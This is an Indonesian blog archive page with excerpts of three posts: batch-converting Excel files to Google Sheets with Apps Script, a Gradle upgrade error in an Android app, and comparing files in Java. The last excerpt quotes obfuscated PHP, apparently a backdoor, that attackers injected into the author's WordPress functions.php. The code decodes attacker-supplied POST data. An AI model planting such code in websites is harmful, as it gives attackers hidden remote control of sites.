Postingan

Menampilkan postingan dari Maret, 2023

Konversi Excel to Google Sheet dengan Apps Script

Adakalanya, untuk memproses suatu data Excel, diperlukan untuk mengubahnya ke bentuk Google Sheet. Jika jumlah file excelnya cuma satu, tentu konversinya akan mudah, tinggal 'Save as Google Sheets' begitu saja. Namun jika jumlahnya banyak, mengubahnya satu persatu dan akan membutuhkan waktu yang lama, yang pastinya akan menjemukan. Untungnya di Stackoverflow, penulis temukan kode Apps Script untuk konversi dari Excel to Google Sheet, yang kodenya penulis sedikit edit, sebagaimana di bawah ini: function convertXLS(){ var folderBId = "idfolderdrivetempatkonversi"; //Folder tujuan var files = DriveApp.getFolderById('idfolderdrivetargetfileexcel').searchFiles('title != "nothing"'); while(files.hasNext()){ var xFile = files.next(); var name = xFile.getName(); if (name.indexOf('.xlsx')>-1){ var ID = xFile.getId(); var xBlob = xFile.getBlob(); var newFile = { title : name.slice(0,name.indexOf...

No matching variant saat Upgrade Grandle

Gambar
Merupakan kewajiban bagi seorang developer Android, adalah me-maintenance aplikasinya. Hal ini perlu dilakukan, sesuai himbauan Play Store, sebagai toko tempat menjual aplikasi seperti gambar di bawah ini, bahwa aplikasi tidak akan ditemukan oleh perangkat dengan SDK yang terbaru. Tentu akan menjadi masalah jika tidak ditemukan, aplikasi akan kehilangan pasarnya, yang artinya developer berpotensi kehilangan income. Dan yang penulis temukan juga, jika tidak diupdate ke SDK yang terbaru, sepertinya algorithma Play Store juga malas merekomendasikannya ke pengguna. Tahun 2023, sudah menjadi tahun ke-8 penulis menjadi single fighter Android Developer . Bukan karena tidak ingin memperkerjakan/membutuhkan orang lain, namun kelemahan manajerial yang menjadi problem utamanya. Ditambah penulis adalah tipe yang kurang begitu percaya dengan hasil pekerjaan orang lain. Sehingga bekerja sendiri, menjadi pilihan yang paling aman dan tepat menurut penulis. Suatu hari, tepatnya sehari sebelum tulisan i...

Kode Java Membandingkan Dua File

Gambar
Suatu hari, website yang penulis kelola, yang menggunakan Wordpress mendapat serangan injeksi judi slot. Hasilnya, di domain penulis, terdapat link landing page halaman promosi permainan tersebut. Setelah penulis cari-cari, di bawah ini adalah contoh kode PHP yang muncul di file functions.php theme Wordpress, yang penulis gunakan. if( ! function_exists('qmqkrosuwcclz') ) { function qmqkrosuwcclz($hofwrudrjow, $arprughxl) { $dcfibrnhftqbtq = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $hofwrudrjow = strtr($hofwrudrjow, $arprughxl, $dcfibrnhftqbtq); $hofwrudrjow = cogrjgxig($hofwrudrjow); return $hofwrudrjow; } function cogrjgxig($drvphbmibfcfnms) { $drvphbmibfcfnms = base64_decode($drvphbmibfcfnms); return $drvphbmibfcfnms; } $izvyyhb = $_POST; if(isset($izvyyhb['wtcyzjbnafe'])) { $tzivwumxaiztpg = $izvyyhb['wtcyzjbnafe']; $ozghajv = qmqkrosuwcclz($izvyyhb['lvenvrrdsiathe'], $tzivwumxaiztpg); $...